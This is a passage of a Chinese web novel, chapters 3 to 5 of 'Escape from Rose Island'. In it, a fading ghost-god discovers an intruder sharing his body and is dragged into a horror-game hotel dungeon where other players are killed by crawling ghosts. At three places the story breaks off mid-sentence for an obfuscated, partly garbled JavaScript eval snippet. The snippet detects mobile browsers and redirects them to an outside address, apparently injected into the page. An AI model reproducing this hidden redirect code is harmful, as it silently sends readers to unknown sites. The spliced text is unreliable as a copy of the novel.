《逃离玫瑰岛》 3. 折纸 坏了,碰到变态了。 元叔心说。 他看着字条有些惶恐:“先生,这字条的意思是说,这个人神不知鬼不觉……” “上了我的身?”虞青替元叔补完没敢说的话。 这话元叔听都不敢听,他猛摇手:“不可能不可能,这怎可能呢。” 众所周知玫瑰岛上,不管人神鬼神、活人还是死人,只要不是失心疯,都不会无缘无故来招惹虞青。 毕竟这祖宗真的是杀神。 元叔默然几秒,蹦出个想法:“会不会……唔……” 虞青皱眉:“你唔什么?” 元叔支支吾吾:“就是,那个,您自己无意识写的? 虞青:“……” 虞青冷若冰霜的脸上出现了一丝丝难以置信:“你说我梦游?” 元叔:“不敢不敢。” 虞青面无表情:“你明明很敢。” 元叔揣着袖子,眼观鼻鼻观口老实了一会儿,说:“那应该还是钻了我的空子。” 虞青瞥了他一眼:“讲。” 元叔回想片刻,分析道:“我估计,昨晚趁您不在的时候,有人想办法绕过我进了卧室,想试探或者观察一下您的近况。” “但显然我也不是什么好惹的。”元叔顿了一下,说:“所以能做到这种事的,肯定不是普通人,应该是您的某位……同僚。” 岛城有个规矩,人们提起那些神明,在无事相求的情况下,不会直呼称谓,以免说的话被听见。元叔不能提无常、禄姑、武神之类,只能统称为“同僚”。 虽然嘴上叫着“同僚”,但这些神明的关系其实并不融洽。 因为他们是可以互相吞噬的。 你吞噬掉某位“同僚”,就会拥有他的神力。 而画皮的伪装以及杀神特性,恰恰是很多人最忌惮也最垂涎的东西。 元叔这套分析乍听没什么毛病。 虞青却轻声嘲道:“他们要是觊觎这些,根本不用提前来试探或者挑衅我,直接等我消亡就好。” 他静了片刻,又说:“反正也快了。” 元叔闻言一愣,想说点什么,却无可反驳。 这些年,岛城祸患丛生、魍魉横行,四处乌烟瘴气。 人们畏惧落单,总想抱团图求平安,又缺一些集聚的理由,就开始竖碑立庙。 这些神明便由此而来。 他们因信徒而生,因信奉者逐渐增多变得神力强大,自然也会因为无人供奉,最终消亡。 虞青就是一位快要消亡的鬼神。 这点,他和元叔都很清楚。 说到这,虞青忽然觉得厌烦起来。 他懒得深究那字条是谁留的了,毕竟他还有最后一点事没办完。 虞青打了个响指,贴在桌边的骷髅小咪“嗖”地翘起一截迷你尾巴骨,跳到他肩上。 元叔问:“先生是要去那片廉租房吗?” 虞青:“去把皮囊还了。” “我跟您一起去?” “随便你。” 元叔已经走出去两三米了,却没见虞青动。 他回头一看,发现他家那阔少临走又停住脚步,盯着那张字条,眉头紧锁。 元叔:“怎么了?” 虞青冷声道:“这么大一张纸,清清楚楚的线,这人正着写会死?非要斜着?” 元叔:“……” 你能打你说了算。 元叔立马附和:“没错没错,太狂妄了,我这就撕了它!” 虞青的毛病元叔是知道的,这种不知来历的玩意儿,他向来嫌弃懒得碰。能指使别人的,绝不自己动手。 但杀人的时候,脑浆子迸溅也没见你收手。 元叔腹诽。 他像往常一样,正要替皇上撕纸,却见虞青一秒都没有多等,已然自己动了手。还把那叠撕得稀碎的纸片塞给小骷髅,问:“吃吗?” 骷髅小咪:“?” 天杀的虐猫鬼。 元叔赶紧双手接过碎纸片,扔进垃圾桶。 * 下城区的廉租楼正在漏雨。 他们抵达1716时,破旧的走廊一片潮湿,灯光接触不良般滋滋闪烁,发霉的警戒线耷拉在地。 虞青抬手一推,门就“吱呀”开了。 屋里死过人,又闷了几天,味道不太美妙。 虞青一手抵着鼻尖,一边惜字如金地使唤元叔: “盆。” “衣服。” “拿走。” 于是,元叔在屋里翻出一只铁盆,找到一套原主的干净衣服,然后把白麻布包裹的皮囊从某人手里接过来,好好放进盆里。 那个场景有种安静的惊悚感,但对虞青来说,却是熟门熟路。 他掏出一枚戒指大小的鎏金点火器,弹出火苗,扔进了装满衣服、皮囊的铁盆里。 “轰”的一声—— 猩红火焰瞬间窜得极高,一道鬼影顺着烟雾袅袅显现。 假如面店里那个胆小的核桃此时经过,应该一眼就能认出来。鬼影骨瘦如柴,穿着衣领宽大的发白T恤,吊着硕大的黑眼圈,正是那个被害死的邻居。 虞青的信徒簿上有他的信息,叫陈霜。 一个有点秀气的名字。 他死时被作践得很惨很脏,这会儿连皮囊带衣服一盆火烧了,变成鬼影,反倒干净一些。 陈霜低头看着自己烟雾般的身体,茫然问:“我怎么变成这样了?” 元叔安慰:“变鬼了,不超度的话,就一直这样。” 陈霜:“……” 他显然被吓到了,连忙看向虞青:“那,那您能超度我一下吗?” 虞青:“……” 虞青:“我不会。” 陈霜:“啊?” 元叔作为发言人代行解释:“你供他的时候应该听说过,画皮只管屠戮,不管其他。” 陈霜:“确实知道。” 但也没想到,真就一点不管啊? 这新鲜出炉的小鬼看起来要哭了:“那我该怎么办?” 元叔:“得空找个神婆。” 陈霜:“我不知道去哪找。” 虞青:“慢慢找。” 陈霜:“……” 眼看那位极其矜贵的鬼神转头要走,陈霜洇满血迹的地面,连忙问:“我、我能先跟着你们吗?我不想呆在这里。” 冷心冷情的画皮先生心说你吃碎纸吗?吸溜死人吗?会翘尾巴骨吗?如果都不的话,我带着你有什么用? 他并不是耐心很好的人,正要斩钉截铁地拒绝,转头却见陈霜泫然欲泣的脸。元叔可能年纪大了,也在那陪着潸然泪下。 就连小骷髅都在他肩上一颤一颤,不知装个什么劲。 虞青:“……” 他拧眉看向骷髅小猫白森森的脸:“你以前不这样,跟什么脏东西学的?” 小骷髅歪头不解,“咪”了一声。 虞青看向陈霜,多说了一句:“我自己都不剩几天,你跟着有什么意义?找神婆去。” 说完,他转身便走。 陈霜一愣,看着那位鬼神高挑好看的身影消失在门外,如同传闻一样。 传闻说,鬼神画皮容貌俊美,杀人如麻,骸骨底下没有心。 倒是元叔摇了摇头,冲新鲜小鬼说:“那你自己保重吧。” 陈霜茫然:“为什么说不剩几天了,不剩几天是什么意思?” 元叔叹息一声,答道:“你是岛城最后一个供奉他的人。” 岛城的神明都有一本信徒簿,簿子上的信徒许过很多愿。他们每帮活人实现一个愿望,信力就更强一点,信徒也会增添一些,由此越扩越多。 但虞青不同。 他的信徒簿上从来只有寥寥数人,几乎只减不增。 陈霜是最后一个。而许愿的那个瞬间,他正在死去,不算活人。 所以,当虞青帮他杀完两个凶手、了却心愿时,他的信徒簿没添新人,最后一个名字也就此消失。 倘若没有信徒,这位神明也会跟着消亡。 庙宇会破败坍塌,神像会风蚀毁损。 整个消亡的过程,只用两天。 …… * 受这消亡过程影响,虞青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477496|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很困,叮嘱了元叔一句“你去留随意,别来卧室”,便睡过去。 他在睡梦中依然有着无可消解的厌烦。 一切都索然无味。 都说神明无梦,但他在睡梦里仍有感知。 他能感知到消亡的过程,庙宇在岛城终年不停的雨中破败腐朽、摇摇欲倾;巨大的裂痕顺着神像蜿蜒而上;甚至还有碎石扑簌掉落的声响。 由此不知过了多久,他在消亡中忽然听到一句:“不打算醒了吗?” 那道嗓音还挺……嗯,不算难听。 像尘埃弥漫下,穿过神像裂隙的风。 似乎来自于他的身体,却不是他自己的声音。 ……? 在意识到这点的瞬间,虞青猛地惊醒。 他起床向来不痛快,满脸不爽,却在睁眼的一刻,睡意全无。 因为他看见自己枕边,堆了一大堆纸。 准确来说,是折纸。 仿佛有人百无聊赖,抽了一张又一张洒金纸,折成了各种形状——兔子、猫、狗、鸟、鱼,甚至还有松树和玫瑰。 那纸不算厚,隐约可见里面有字。 虞青想起前天被撕碎的字条,脑中有了很坏的预感。 他面无表情坐起身,拆了那些乱七八糟的玩意儿,发现里面果真有字。 每张都是熟悉的龙飞凤舞,随心所欲,完全不按线格,非要斜着写! 但更恼人的,是里面的内容。 ^^:我看到了被你扔进垃圾桶的字条,撕得真碎。 ^^:你看上去很不高兴,如果是我引起的,那我很抱歉。 ^^:你或许不愿相信,但出于绅士和礼貌,我还是想提醒你,我不小心占用了一下你的身体。 ^^:真的很不小心。 ^^:但我能占用的时间总是很短,而且始终出不去这个房间。每次不论我走到哪个角落,再占用时,依然还在床上。漂亮朋友,你是被床封印了吗? ^^:你的骷髅小猫倒是很可爱,自愿跟我玩了一会儿,只是总爱哈气。很可惜,它不会说话,否则可以替我向你问声好。 ^^:我很少给人写这么多话,希望能消解一点不愉快。 “……” 虞青越看越不愉快。 他正要把这些脏东西扔下床去,余光却瞥见自己左手掌心居然也有字!!! 他难以置信地摊开手,看见那王八蛋张狂的字迹终于收敛了一些,勉强能算规矩,内容却依旧烦人。 ^^:我总担心那些字条会遭遇之前同样的下场,而你依然不相信我的存在,我只好唐突借用一下你的手。怎么样,理理我? 天杀的,他底下居然还敢加一行小小的ps。 ps:友善建议你看一眼镜子。 虞青:“……” 他确信,他碰到变态了。 变态把他的身体当纸写。 他风雨欲来地走进衣帽间,站到镜子前。先小小松了一口气,起码那王八玩意儿没往脸上写。 下一秒,他便拉下脸,盯着镜子里的自己。试图透过那片玻璃,看穿背后的陌生来客。 他沉声问:“你是谁?” 话音落下,镜子里的面容如水波般晃动了一下。 有那么一瞬间,他似乎看见了一道身影,站在弥天大雾里,面容模糊不清,只有高而利落的轮廓。 但下一刻,又变回了他自己。 虞青正要细看,眼前却“叮”的一声,多了一道透明的全息屏。 上面莹蓝色的字体写着个人信息。 玩家昵称:^^ 玩家姓名:弥** 玩家等级:0 起始资产:-470000 在这短短几行字底下,还有一个方框框住的感叹号,忽闪个不停。 虞青沉默着看了一会儿,实在很难不注意那个蹦跶的东西,于是他伸手戳了下感叹号。 莹蓝色的字体瞬间分裂又重组,变成一句话: 【恭喜,您已接取新手副本任务。】 【3分钟内不进副本,视作消极游戏,锁号24小时。】 4. 奖励 那莹蓝色的字明明写着3分钟内,却完全没有等待时间。 几乎一瞬间,虞青便感到天旋地转,那面全息屏再次不讲道理地出现在面前: 【检测到玩家外观套组与副本等级不匹配】 【正在自动修正……】 【修正完毕。】 【正在匹配队友】 【5/5匹配完毕,传送进副本,Loading……】 周遭骤然一暗。 等到回神,虞青已然站在一栋老旧的大楼前,楼顶挂着硕大的招牌:蓝色海湾酒店。 这个酒店他其实有点印象,就在下城区。 之前去廉租楼还皮囊时,刚巧从酒店背面经过。 元叔当时还指着酒店说:“这地方三天两头出命案,有几桩在《玫瑰日报》写得绘声绘色,这么看果真,阴气都透到楼外了。” 不过此时的酒店跟那天所见不同。 它鬼影般立在夜半海滨,旁边只有几家更幽暗的小店,余下四处一片漆黑,笼着蒙蒙雨雾,看不到边际。 这就是所谓的新手副本? 一家酒店? 虞青正疑惑,忽然觉得口袋一沉。 他伸手摸了一下,发现多了一部手机。这手机底色是深浓的哑光黑,却有一圈霓虹粉边。 虞青:“……” 他一脸嫌弃,却还是划开屏幕。 桌面上目前只有一个身份码,一个聊天软件。 身份码里是基础信息,聊天软件里则有四个类别:世界频道、队伍频道、好友、系统通知。 虞青点开世界频道。 里面鱼龙混杂,乱七八糟的话语刷得飞快,一秒就吵到了他的眼睛。 他立马关了,又点开队伍频道。 里面安静地躺着五个头像,没有乱蹦聒噪的消息。 最后,他才点开好友那栏,发现里面只有一个人。 那人顶着一片空白的头像,旁边是那个讨厌又挑衅的名字:^^ “阴魂不散……” 虞青看见这名字就来气。 于是他长摁住那个白脑袋,试图删除好友。 一条提示瞬间蹦出来:你不能删除自己。 废物。 虞青摁熄屏幕,忽然感觉有东西在蹭他的脚踝。 他低头一看,是一只毛茸茸的白色小猫。他正要请这猫离开他的腿,就听见它“咪”地叫了一声。 嗓音非常熟悉,跟他养的小骷髅如出一辙。 虞青:“……” 他居高临下睨着那小东西:“你发霉了?” 长了白毛的骷髅小咪:“?” 虞青想起传送时的全息屏,说什么“外观套组与新手副本不匹配,正在修正”之类的鬼话,想必是某种机制给小骷髅套了层壳,装普通。 正想着,那烦人的全息屏就又出现了。 这次,屏幕上依然有个感叹号闪烁不停: 【新手指引任务一:抵达前方酒店前台,办理入住。】 鉴于这恼人的东西关不掉,还一直闪。 虞青黑着脸,抬脚朝那破酒店走去。 * 前台已经有人在办入住了。 看脸一副学生模样,染着火红短发,穿着黑色连帽卫衣,衣服上全是铆钉。 虞青怕这红毛丹扎到自己,跟他保持了一段距离。 谁知红毛丹自来熟,冲他打量一番,主动开口:“你这套衣服,是在cos人物资料片里的画皮吗?” 画皮本尊:“?” “衣服挺像,就是捏脸不像。”红毛丹又说。 什么鬼话? 虞青转过头,借着酒店前台背景玻璃,隐约看到了自己的样子——衣服还是纯黑西装,个头倒也没缩,但五官容貌都被调整过,跟原本没有一点相似。 红毛丹接连两句没人搭理,居然不气馁,又问了第三句:“你叫什么名字?” 鉴于画皮先生不喜欢新长相,不想报自己名字,便打算栽赃给某个讨嫌的王八蛋。 他想起那个挑衅的^^,随口道:“两个尖。” 红毛丹:“哎呀好巧!” 虞青冷冰冰问:“巧在哪?” 红毛丹:“我叫三个K!” 虞青:“……” 三个K哈哈一笑:“要不咱们能匹配成队友呢!对了,另外三个队友比我到得还快,已经办完入住去房间了,我这会儿也办好了,你来吧。” 前台是个有些浮肿的中年人,他看了虞青一眼,掏出一份报纸拍在台面上,上面粗体大字写着《玫瑰日报》。 虞青对这报纸熟悉得很,岛城几乎人手一份。元叔经常抱着不撒手,沉迷于上面连载的不知名小说和八卦新闻。 但这份《玫瑰日报》的头版并不是八卦,而是一则新闻—— 【蓝色海湾惊险浮尸碎块,一家五口惨遭灭门!】 前台点了点报纸,沙哑的嗓音慢吞吞说:“凶手还没抓到,晚上不管住在哪个房间,记得关好门窗,万一出点什么事,别怪我们酒店没尽到提醒义务。” 说完,他指了指旁边的机器:“身份码扫一下,我们这按资产分配房间。” 虞青扫码的手一顿:“按什么分配?” 前台:“按资产。” 三个K热心提醒:“就是玩家信息里的资产。” 虞青面无表情点开身份码,再度确认了一遍上面的数字和符号。 前台也面无表情地等着。 阔少俨然没受过这样的罪。 有元叔在的时候,他甚至不用自己动手办这些事。 虞青拉着脸问道:“普通房要多少?” 前台:“500。” 虞青:“最差的怎么说?” 前台:“180。” 虞青:“负47万能住哪?” 前台静止长达五秒,掏了掏耳朵:“多少???” 虞青绷着一张冷脸,并不想再重复一遍脏东西。 前台往大门一摊手:“路边。” 虞青:“……” 一旁的三个K满脸震撼,忍不住道:“负47万?你是说你资产负47万?” 虞青在脑子里杀了^^好几遍,开口反问:“对,有问题?” 他的语气过于不爽,三个K怂了,连连摆手:“没有没有没有,就是觉得有点惨。所以你资产都是负的了,还敢买外观、买跟宠?” 虞青:“什么跟宠?” 三个K朝他脚边一指:“小白猫啊。” 虞青顺着他的手指一瞥,看到了长白毛的小骷髅。 “不过你别说,这跟宠长得圆乎乎的,多少钱?应该是低品级吧?一看就没什么附加作用,不过没关系,新手阶段也就只能买买这些,起码可爱。” 真的很可爱! 三个K左看右看没憋住,蹲下来冲着小白猫发出“嘬嘬嘬”的声音。 小白猫耸着鼻子嗅了嗅他的手指,礼尚往来也嘬了他一口。 下一秒,三个K“咚”的一声栽倒在地,一边自动发出“救救我,救救我,救救我”的声音,一边往前台面前爬。 前台吓得差点一起爬。 “干什么呢这是!”前台从未见过刚进门就这样的人,啪啪摁着紧急呼叫铃,“你怎么说倒就倒!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477497|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >三个K在晕晕乎乎中口齿不清地哼唧:“不知道啊,血条突然就空了。” “什么血条,乱七八糟的听不懂,赶紧带他去隔壁诊所看看吧。”前台喊来一个脸盘煞白、眼如小洞的值班保安,慌忙把三个K往走廊深处拖。 临走前还给虞青丢下一张卷了膜边的房卡,说:“18楼1811号房没人住,反正也是空着,实在不行你在那凑合一晚,总比真睡外面强,夜里记得关门关窗。” 他似乎怕虞青不照做,又补了一句:“杀人分尸啊!” 说完,便跟保安一并消失在走廊尽头的黑暗里。 虞青接过房卡翻看一眼,一面印着酒店照片,因为褪色的关系,酒店窗户仿佛无数个黑洞。另一面写着房间号1811。 但很奇怪的是,最后两个11之间空隙略有点大。 普通人不细看其实发现不了,但虞青一眼就盯住了那个空隙。 酒店灯光昏暗,虞青对着光照了照卡片,隐约看见那个空隙原本有印刷笔画的痕迹,只是被人尽量无痕地涂改了。 按照残留的痕迹来看,这房卡原本应该是1814…… 不过此时此刻,这些都不重要。 别说1814,哪怕是“立马就死”,对虞青来说也没什么吓唬的作用。他的当务之急,是把某人从他身体里揪出来。 他拿着卡径直上了18楼,刷开1811的门。 一进屋,一股古怪的花香飘了过来。 虞青不太习惯这种过于浓烈的香味。 他抵着鼻尖,走到床边。令人意外的是,这酒店外面破烂不堪,床居然出奇地干净,是他勉强可以合衣躺一下的程度。 要是元叔在就好了,起码有人可以帮他把所有地方都消一遍毒。 画皮先生如是说。 他正拎着床罩一角扯直褶皱,安静很久的手机忽然嗡嗡震了一下。 什么聒噪的东西? 虞青拿起来一看,聊天软件里面的系统通知多了一个小红点。 他点开那个小红点,就见消息里面写着: 您的跟宠击倒一名队友,使其达到濒死状态,完成【第一滴血】成就。 战斗经验+500,人物等级+1。 战斗奖励待领取。 虞青:“?” 他低头瞥了小骷髅一眼,它仰着脸正在邀功,尾巴翘得笔直。 他又点了一下“奖励领取”键。 面板幽幽蹦出一行字:资产+1000。 玩家总资产:-469000 虞青:“……” 紧接着,他手机又震一下。系统通知再多一条消息。 他以为还有奖励,结果点开一看,就见通知里写着: 由于您的跟宠击倒一名队友,使其达到濒死状态,副本【完美无伤】成就失败,【并肩作战】成就失败,【做个人】成就失败。 奖励待领取。 虞青知道不会有好事,但看着跳动的小红标受不了,还是点了一下领取键。 面板再次幽幽蹦出一行字:资产-30000 玩家总资产:-499000 虞青冷笑一声,低头再看,小骷髅已经裹着白毛,“咪咪喵喵”假装很忙地捉尾巴了,也不知跟什么人学的。 不知为什么,他又想到了那个天杀的^^。 毕竟他强迫骷髅小咪跟他混迹了几乎一天…… 想到这里,虞青没再多等。 他在桌子抽屉里翻出一支笔和一本便签页,扯下一张,力透纸背地写了一句留言: 这莫名其妙的新手副本是什么东西?滚出来收拾你的烂摊子。 5. 晚安 虞青睡过去的那一刻,手机轻轻震了一下。 系统通知里面多了两条消息,一条写着: 【新手指引任务一:抵达酒店,办理入住】已完成,奖励待领取。 日斩万敌也需夜卧八尺。 恭喜!您已迈出新手的第一步:进入任意副本后,请务必先用个人资产兑换住处。不同等级的住处需要消耗不同程度的个人资产,知道你想住得精致,但为了余额着想,一定要量力而行哦! 如无特殊情况,住处是你在副本内的唯一安全屋。 紧随其后的那条,则带着一个红色感叹号。内容只有一句话: 【Error:玩家住处未消耗资产,检测到错误代码00986716。】 不过这两条内容,虞青暂时都没有看到。 因为画皮先生睡觉的状态有些特别,他没有呼吸,也没有心跳,两手交叠于身前,安静地躺着。 如果不是极其偶尔的翻身,在普通人看来和死了没什么区别。 至于发了霉的小骷髅,则跟它主人一个德行,同样没有呼吸和心跳,呈“大”字型,平铺在旁边。 酒店的窗户不够密封,楼层越高,风声越像鬼哭。 那声音听久了会产生一种错觉,仿佛并非来自于窗外,而是来自于黑洞洞的走廊深处。 甚至贴着床边…… 鬼哭全方位立体音效嚎了很久,声嘶力竭。 床上一人一猫,风雨不动,走得很安详。 * 酒店8楼的807套房里。 三个K用被子和枕头围出一个结界,将自己裹得严严实实,只露出一颗火红的头。 自打刚刚收到任务完成的消息,看到那句“住处是副本唯一安全屋”时,他就默默给自己搭了这个“堡垒”。 但他还是有点后悔。 这个酒店的套房是普通房的整整6倍,花了他3000资产。 促使他心动订套房的原因很简单—— 套房比普通房间多一项服务,就是酒店可以提供一次免费救治,任意伤重、濒死状态都可使用。 三个K本来盘算得很好。 这就是个新手副本。 不论哪个游戏,新手副本都是为了引导玩家熟悉流程和机制,前期一定是以教学为主。 很多游戏甚至会从怎么走路、怎么跑跳开始,把玩家当傻子教。 《玫瑰岛》多半也不例外,副本前期一定很弱智,不可能有什么生命危险。只有等玩家明白机制,才会稍稍上一点难度。 而只要熬过那一点难度,新手副本就会结束。 酒店提供的免费救治,相当于一次“复活”的机会。他有这个做保底,就绝对不可能竖着进来,横着出去。 但谁承想呢…… 刚进酒店大门,这个3000块换的“复活”就莫名其妙被用掉了。 三个K到现在都不明白自己怎么就突然濒死了。 他反复点进系统通知、反复戳开那条击杀播报、反复研读,也没想通。 因为系统通知里写的是: 【你受到了致死性攻击,血量剩余1.3%】 【攻击来源:不明。】 他没有伤口,甚至没有痛感。 思来想去,只好归结出Bug了,而他刚好比较倒霉。 * 墙上的钟滴答走了一格,熟悉的全息屏再次崩了出来: 【新手指引任务二:午夜即将来临,记得要买一把防身武器】 代表任务的感叹号闪烁不停,但这次没有再烦到虞青了。 画皮先生似乎打定了主意,只要那位^^不来,他坚决不醒。 聊天软件里,安静多时的队伍频道终于有了消息。 辣汤大老爷:武器在哪买? 纯没礼貌:不知道,这酒店太阴了,还没敢探索。 辣汤大老爷:怀念那个游戏还有自动寻路的时代[叹气] 纯没礼貌:你以为有了自动寻路我就敢点了? 辣汤大老爷:…… 套房又大又空,三个K在鬼哭中毫无安全感。他用被子半蒙着头,在队伍频道里啪啪打字。 三个K:酒店旁边有几家小店,估计在那边买。 辣汤大老爷:你已经去了? 三个K:还没…… 辣汤大老爷:要不一起去? 纯没礼貌:可以可以,我一个人有点艰难。 辣汤大老爷:行,前台见。 辣汤大老爷:说起来还有俩队友呢?@寿司吧,@^^,你们做任务吗?要一起吗? 队伍频道冷了一分钟,被@的两人无人应答。 辣汤大老爷:不会睡着了吧? 纯没礼貌:……这酒店合得了眼????? 合得了。 起码1811里住的那位合得很好。 但807套房就完全不一样了…… 三个K又把被子捂严实了一点,敲字说道:一定要现在去吗?我想晚点。 辣汤大老爷:为什么? 三个K:我总觉得门外有东西。 辣汤大老爷:不至于,我现在就已经出房间门了,正在往电梯走。氛围挺渗人的,但真没东西。 三个K:有,真的有。 他回完这句,攥着手机,仔细听着。 不是幻觉,他真的听到有声音在门外…… 就像是有人用指甲,轻轻地划门。 也不准确。 好像不是划在门板上,而是比门板更软的东西,比如布料什么的。 听起来也不像在走廊,而是比那个更近一点…… 三个K深呼吸了一下,试图听得仔细点。 奈何心跳的“砰砰”声太大了,盖住了很多动静,以至于他听不真切。 于是他小心翼翼地扯下一点被子,露出一只耳朵。 这下他听清楚了。 那声音就是在划布料,而且近得离谱,近到…… 简直就在床边! 三个K猛地拉下被子,睁开眼。 就见一个扭曲的人影像蜘蛛一样扒在天花板上,睁着黑洞洞的眼珠一眨不眨地盯着他,脸色惨白,头发湿漉漉地滴着水,手臂长长地伸过来,抓住了他的被子。 “……” “滚啊啊啊啊啊啊啊啊——” 三个K一个鲤鱼打挺,弹起来就往门外发射! * 两分钟后。 前台集合的辣汤大老爷和纯没礼貌,正要出酒店门,就感觉一阵黑旋风从旁而过。 辣汤大老爷:“什么玩意儿飞过去了???” 纯没礼貌:“李逵?” 辣汤大老爷:“李逵头发是红的?” 没等他们琢磨明白,身后传来了淅淅索索的声音,像是有什么东西在极快速地爬。 纯没礼貌回头一看—— 一群惨白鬼影顺着天花板和楼梯爬了下来。爬到拐角处,整个脑袋翻转过来,裂嘴在上,眼睛在下,扭动着找寻活人的位置。 纯没礼貌:“……” 下一秒,两道“啊啊啊啊啊”的惨叫声加入三个K,三重奏一样往酒店外狂奔。 而此时此刻,1811里的一人一猫,依然睡得一脸安详。 * 酒店旁边有三家昏暗店铺。 他们尖叫着像旋风一样刮进第一家—— 卖海边旅游用品的。墙上挂的尽是滑板、泳衣、裤衩子。 他们又刮出来,尖叫着刮进第二家—— 杂货店,货架上垒的全是方便食品、气泡水,还有一点基础药品。 最后,他们才声嘶力竭刮进第三家。 老板捂着耳朵看向他们,把大门关了,喊道:“闭嘴别吵,挑东西交钱!” 三道人影这才扶着柜台缓缓往下滑,道:“随便,有什么要什么。” “好大的口气,先摸摸自己有多少钱。”老板往柜台上啪啪拍了三样东西:“自动弩1000,射程最远能到20米,弩箭另算,一支50。” “可调节伸缩刀,700,最短10cm,最长能放到40cm,弹性还算不错。” “符,专业开过光的,800。但这个用一次就报废了。” 纯没礼貌上来就买了五张符,濒临破产。 辣汤大老爷实在觉得符不划算,买了一套自动弩。 而三个K的钱都花在了大套房上,最后喜提一把最便宜的伸缩刀。 资产刚结算完毕,三人手机一阵嗡嗡震动,几乎同时收到了系统通知信息—— 【新手指引任务二:午夜即将来临,记得要买一把防身武器】已完成,奖励待领取。 恭喜,您已学会了新手必懂技能第2步,买把防身武器。 每位玩家每次副本只有一次购买武器的机会,一旦选定,概不退换。武器商店将对您保持关闭。节省是个美德,但在买武器的时候,请务必不要太吝啬哦。 三个K:“什么叫武器商店将对您保持关闭?” 老板答道:“就是这家店即将消失的意思。” 三人:“?” 辣汤大老爷迅速抓住某个点: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495558|201573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这家店即将消失?那你呢?” “我啊?”老板裂嘴一笑,“当然是留下来陪陪你们咯——” 他笑着,嘴越裂越大。 然后脑袋俏皮一歪,咕噜噜滚落下来。 “啊啊啊啊啊啊——”三个K看演唱会都没今晚叫得多! 他猛地按下伸缩刀按钮,40cm长刀噌地弹出来,对着老板就是一顿猛扎。结果捅到老板身上,白花花的皮肉居然滴血不留。 而老板还在扭着四肢,往他们面前爬! 三个K尖叫:“这武器买了能干什么!” 纯没礼貌也在尖叫:“能证明我们是傻x啊啊啊啊啊——” “叮”的一声,全息屏再度跳了出来: 【新手指引三:快跑!在碰到暂时无法击败的怪物时,立刻跑回你的房间!那是你在副本里唯一的安全屋!】 三人撒腿就跑,一路往酒店狂奔。 辣汤大老爷胆子要大一点,起码他边跑还能边做思考。他叫道:“先别那么怂!别忘了这是新手指引任务!指引任务只是要教会你。你们玩过游戏吗?一般这种时候不会死人的,目的只是教学,不是为了立马刀了你。” 三个K:“我知道!我也算游戏老鸟了!但这氛围真的太足了,你告诉我怎么才能不怕啊啊啊啊!” 辣汤大老爷叫道:“我真受不了了,我来!我试给你们看!” 他猛地刹住步子,站定身形,摊开手,等着后面爬行的惨白人影追上自己:“等着看!按理说这种时候,哪怕挨两下攻击也不会死——” 话没说完,三道鬼影已然扑到他身上。 其中一个裂开暗红色的嘴,一口咬上他的脖子,猛地一扯。 辣汤大老爷的表情凝固在那个瞬间。 鲜红的血从断裂的脖颈处猛喷出来,溅得极远。 被温热血液溅了满脸的瞬间,三个K大脑一片空白。全息屏就是这时候蹦出来的: 【很遗憾,玩家辣汤大老爷被鬼物袭击,撕了脑袋,当场死亡。小队剩余4/5。】 说好的,新手指引任务不会死呢…… 三个K和纯没礼貌一脸空白,他们甚至没来得及惊恐,本能就已驱使他们朝各自的房间狂奔而去。 砰—— 大门合上,鬼物和血腥味被关在门外。 三个K和纯没礼貌缩在离房门最远的一角。有些怪物甚至穿过门板冲了进来,但却碰不到他们,只能吓唬。 过了很久,淅淅索索的爬行声才渐渐远去。 那些鬼物缓慢地在走廊天花板上爬着,之前死的那个人已经被他们分食干净,一点碎渣都没留下。 他们舔了舔嘴唇,意犹未尽。 还有哪里能去呢…… 鬼物们歪着头,扭转着脖子,一层一层巡看。直到爬上18层,神色忽然兴奋起来—— 他们又嗅到了一种味道。 * 五分钟后。 1811的房间里,画皮先生连身都没有翻过,两手交叠于身前,依旧执着而安静地睡着。 而在他的房顶,窗沿,地板和床边,却爬满了鬼物。 在那些鬼物伸长了脖子,垂涎地嗅着味道时,平摊在床上的白毛小猫先睁开了眼。 它张嘴打了个长长的哈欠,然后一歪头,跟满屋鬼物对上了脸:“?” 下一瞬,它猛地弹起,跳到自家主人身上,狠狠蹦了好几下。 他主人还是走得很安详。 小骷髅:“……” 它咪咪哇哇冲着主人耳边叫了一气。 某人还是一动不动。 小骷髅:“……” 床边的鬼物最先按耐不住,它在这个房间嗅到了不一样的味道。之前那两房间,他碰不到床上的人,只能吓唬。 但这个房间不是。 这个房间,它似乎能碰到…… 这么想着,鬼物一脸馋相地伸出了手,想试试戳一下床上的人。 小骷髅一见不对,猛地蹿起,就要朝那根手指头叼去! 它试图用自己惯常的一招,咬住之后用力一嘬,这些东西就只剩皮囊了。 就在它叼住那根惨白手指的前一瞬,一只手忽然出现,从后面捞住了它。 